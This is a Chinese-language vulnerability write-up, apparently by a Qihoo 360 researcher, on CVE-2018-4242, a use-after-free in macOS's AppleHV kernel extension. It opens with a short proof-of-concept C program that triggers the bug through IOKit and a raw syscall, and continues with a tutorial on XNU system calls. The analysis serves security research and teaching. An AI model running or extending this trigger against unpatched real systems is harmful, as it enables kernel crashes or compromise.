奇虎 360 Nirvan 团队的 Zhuo Liang
1.1 CVE-2018-4242 . . . . . . . . . . . . . . . . . . . 1
2.1 系统调用 . . . . . . . . . . . . . . . . . . . . . . . . . . 2
2.2 MIG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.2.1 mach_msg 与 Mach 端口 . . . . . . . . . . . . . . . . . 6
2.2.2 MIG：RPC 接口生成器 . . . . . . . . . . . . . . . . . . 8
2.3 IOKit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.3.1 IOUserClient . . . . . . . . . . . . . . . . . . . . . . . 12
3.1 逆向工程 . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.2 漏洞 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.3 修复 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1.1 CVE-2018-4242
苹果公司发布了针对 CVE-2018-4242 的 macOs 10.13.4 安全更新，该漏洞于上周（3 月）被报告。CVE-2018-4242 是一个可通过以内核权限执行任意代码而使恶意程序利用的漏洞。本报告将通过这个问题帮助大家了解 XNU。
清单 1 中的代码是我们演示的 PoC。完整源代码可从 github 下载。
1 // AppleHVUaF.c
2 void destroy_vm() {
3 asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall");
4 return;
5 }
6 int main(int argc, char **argv) {
7 const char *service_name = "AppleHV";
8 io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
9
10 if (service == MACH_PORT_NULL) {
11 printf("[−] Cannot get matching service of %s\n", service_name);
12 return 0;
13 }
14 printf("[+] Get matching service of %s succeed, service=0x%x\n", service_name, service);
15
16 io_connect_t client = MACH_PORT_NULL;
17 kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0, &client);
18 if (ret != KERN_SUCCESS) {
19 printf("[−] Open service of %s failed!\n", service_name);
20 return 0;
21 }
22 printf("[+] Create IOUserClient of %s succeed, client=0x%x\n",
23 service_name, client);
24 IOServiceClose(client);
25 usleep(5);
26 destroy_vm();
27 return 0;
28 }
清单 1：针对 CVE-2018-4242 的 PoC
要理解这段代码，需要一些关于 XNU 的基本知识。对于初次接触 XNU 的读者，第 2 节将介绍 XNU 的相关内容。如果你已经了解以下条目，可以直接从第 3 节开始阅读。
第 1 节 引言
第 2 节 XNU 的基础知识
第 3 节 AppleHV.kext 的逆向分析与 CVE-2018-4242 的细节
第 4 节 结论
众所周知，在计算领域，系统调用是程序与操作系统交互的一种方式。用户级进程可以通过系统调用请求操作系统的服务。在 XNU 中，有四种系统调用类别，它们驱动着所有的用户态与内核态交互。让我们通过清单 1 中所示的 syscall 指令来深入探讨这些内容。 syscall 是 x86_64 架构上的一种指令，可以在内核空间中调用操作系统系统调用处理程序。清单 2 通过一个简单的 write 示例说明了 syscall 的工作方式。
~ cat write.c
2 #include
3 int main() {
4 write(0, "Hello\n", 6);
5 return 0;
6 }
7 ~ clang write.c −o write
8 ~ lldb write
9 (lldbinit) b libsystem_kernel.dylib`write
10 Breakpoint 1: where = libsystem_kernel.dylib`write, address = 0x000000000001e6f8
11 (lldbinit) r
12 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[regs]
13 RAX: 0x0000000000000006 RBX: 0x0000000000000000 RBP: 0x00007FFEEFBFF8D0
14 RSP: 0x00007FFEEFBFF8B8 RDI: 0x0000000000000000 RSI: 0x0000000100000FA2
15 RDX: 0x0000000000000006 RCX: 0x00007FFEEFBFF9F8 RIP: 0x00007FFF7ED096F8
16 R8: 0x0000000000000000 R9: 0xFFFFFFFF00000000 R10: 0x00007FFEEFBFFA48
17 R11: 0x00007FFF7ED096F8 R12: 0x0000000000000000 R13: 0x0000000000000000
18 R14: 0x0000000000000000 R15: 0x0000000000000000
19 CS: 002B FS: 0000 GS: 0000
20 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[code]
21 write @ libsystem_kernel.dylib:
22 −> 0x7fff7ed096f8: b8 04 00 00 02 mov eax, 0x2000004
23 0x7fff7ed096fd: 49 89 ca mov r10, rcx
24 0x7fff7ed09700: 0f 05 syscall
25 0x7fff7ed09702: 73 08 jae 0x7fff7ed0970c ; <+20>
26 0x7fff7ed09704: 48 89 c7 mov rdi, rax
27 0x7fff7ed09707: e9 19 54 ff ff jmp 0x7fff7ecfeb25 ; cerror
28 0x7fff7ed0970c: c3 ret
29 0x7fff7ed0970d: 90 nop
30 (lldbinit) x/s rsi
31 0x100000fa2: "Hello\n"
清单 2：简单的 write 示例